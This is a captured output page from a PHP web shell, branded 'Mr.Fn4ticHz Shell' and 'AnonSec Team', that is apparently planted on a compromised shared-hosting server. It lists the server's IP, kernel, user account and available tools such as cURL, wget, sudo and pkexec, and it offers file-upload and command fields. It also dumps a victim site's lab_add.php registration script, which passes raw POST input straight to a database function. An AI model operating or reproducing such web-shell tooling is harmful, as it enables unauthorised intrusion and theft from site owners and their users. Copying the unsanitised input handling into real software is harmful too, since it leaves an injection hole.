Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.21.246.223
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/www/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/www/login.easenup.in//lab_add.php
<?php session_start();
require_once('../LoginManager.php');
require_once('../DBManager.php');
include("header.php");
include("menu.php");
//Code for Registration 
if(isset($_POST['signup']))
{
 
    LoginManager::registerlab("$_POST[Name]","$_POST[user_id]","$_POST[numbers]","$_POST[entered_by]");

}
?>
<!DOCTYPE html>
<html lang="en">
  <head>
   <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>

     <script type="text/javascript">
$(document).ready(function(){
    $('#myForm').submit(function() {
     $('#loaderImg').show(); 
      return true;
    });
});
  </script>
<style>
      #loaderImg {
         position: absolute;
         top: 0;
         bottom: 0;
         left: 0;
         right: 0; 
         margin: auto;
         border: 10px solid grey;
         border-radius: 50%;
         border-top: 10px solid black;
         width: 100px;
         height: 100px;
         animation: spin 1s linear infinite;
      }
      @keyframes spin {
         0% {
            -webkit-transform: rotate(0deg);
            transform: rotate(0deg);
         }
         100% {
            -webkit-transform: rotate(360deg);
            transform: rotate(360deg);
         }
      }
   </style>
      
      <script src="https://code.jquery.com/jquery-2.1.1.min.js" type="text/javascript"></script>
<script>
function checkAvailability() {
	$("#loaderIcon").show();
	jQuery.ajax({
	url: "lab_check.php",
	data:'uname='+$("#user_id").val(),
	type: "POST",
	success:function(data){
		$("#user-availability-status").html(data);
		$("#loaderIcon").hide();
	},
	error:function (){}
	});
}
</script>
<script>
      function isNumber(evt) {
  evt = (evt) ? evt : window.event;
  var charCode = (evt.which) ? evt.which : evt.keyCode;
  if (charCode > 31 && (charCode < 48 || charCode > 57)) {
    alert("Please enter only Numbers.");
    return false;
  }

  return true;
}

function ValidateNo() {
  var phoneNo = document.getElementById('numbers');

  if (phoneNo.value == "" || phoneNo.value == null) {
    alert("Please enter your Mobile No.");
    return false;
  }
  if (phoneNo.value.length < 10 || phoneNo.value.length > 10) {
    alert("Mobile No. is not valid, Please Enter 10 Digit Mobile No.");
    return false;
  }

  
  return true;
}
</script>
      
  <meta charset="utf-8">
  <meta name="viewport" content="wusernoth=device-wusernoth, initial-scale=1">
  <title>Registration | Users</title>
 	
  </head>
  <body>
  
   <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
          	<h3><i class="fa fa-angle-right"></i> Laboratory access </h3>
			   <div style = "display:none;" id = "loaderImg"> <div class="loader"> </div> </div>
<form name="signup" method="post" id="myForm" >
   <label for="item"> 	Name<span>*</span></label>
<input class="input100" type="text" name="Name" placeholder="Enter your Name" required>
 <label for="item"> Mobile Number<span>*</span></label>
 <input type="text"  name="numbers" id="numbers" onkeypress="return isNumber(event)" required>
<div id="frmCheckUsername">
    <label for="item"> Email id<span>*</span></label>
<input onclick="ValidateNo();" class="input100" type="email" name="user_id" id="user_id" placeholder="Enter Your Email id" class="demoInputBox" onBlur="checkAvailability()" required>
  <span id="user-availability-status"></span>    
<p><img src="LoaderIcon.gif" id="loaderIcon" style="display:none" /></p>
</div>
     
       <input type="submit" id="clicknow" value="submit" name="signup">
   
     
  </div>
  </div>
</div>
</div>
 <div class="clear"></div>
  </div>
</div>

</section>
</form> 
<script type="application/javascript">
var alphaExp = /^[a-zA-Z]+$/; //Variable to valusernoate only alphabets
var alphaspaceExp = /^[a-zA-Z\s]+$/; //Variable to valusernoate only alphabets and space
var numericExpression = /^[0-9]+$/; //Variable to valusernoate only numbers
var alphanumericExp = /^[0-9a-zA-Z]+$/; //Variable to valusernoate numbers and alphabets
var emailidExp = /^[\w\-\.\+]+\@[a-zA-Z0-9\.\-]+\.[a-zA-z0-9]{2,4}$/; //Variable to valusernoate emailid userno 

function valusernoateform()
{
	if(document.frmsite_users.site_usersname.value == "")
	{
		alert("site_users name should not be empty..");
		document.frmsite_users.site_usersname.focus();
		return false;
	}
	else if(!document.frmsite_users.site_usersname.value.match(alphaspaceExp))
	{
		alert("site_users name not valuserno..");
		document.frmsite_users.site_usersname.focus();
		return false;
	}
	else if(document.frmsite_users.loginuserno.value == "")
	{
		alert("Login userno should not be empty..");
		document.frmsite_users.loginuserno.focus();
		return false;
	}
	else if(!document.frmsite_users.loginuserno.value.match(alphanumericExp))
	{
		alert("Login userno not valuserno..");
		document.frmsite_users.loginuserno.focus();
		return false;
	}
	else if(document.frmsite_users.password.value == "")
	{
		alert("Password should not be empty..");
		document.frmsite_users.password.focus();
		return false;
	}
	else if(document.frmsite_users.password.value.length < 8)
	{
		alert("Password length should be more than 8 characters...");
		document.frmsite_users.password.focus();
		return false;
	}
	else if(document.frmsite_users.password.value != document.frmsite_users.cnfirmpassword.value )
	{
		alert("Password and confirm password should be equal..");
		document.frmsite_users.password.focus();
		return false;
	}
	else if(document.frmsite_users.select.value == "" )
	{
		alert("Kindly select the status..");
		document.frmsite_users.select.focus();
		return false;
	}
	else
	{
		return true;
	}
}
</script>







Anon7 - 2022
AnonSec Team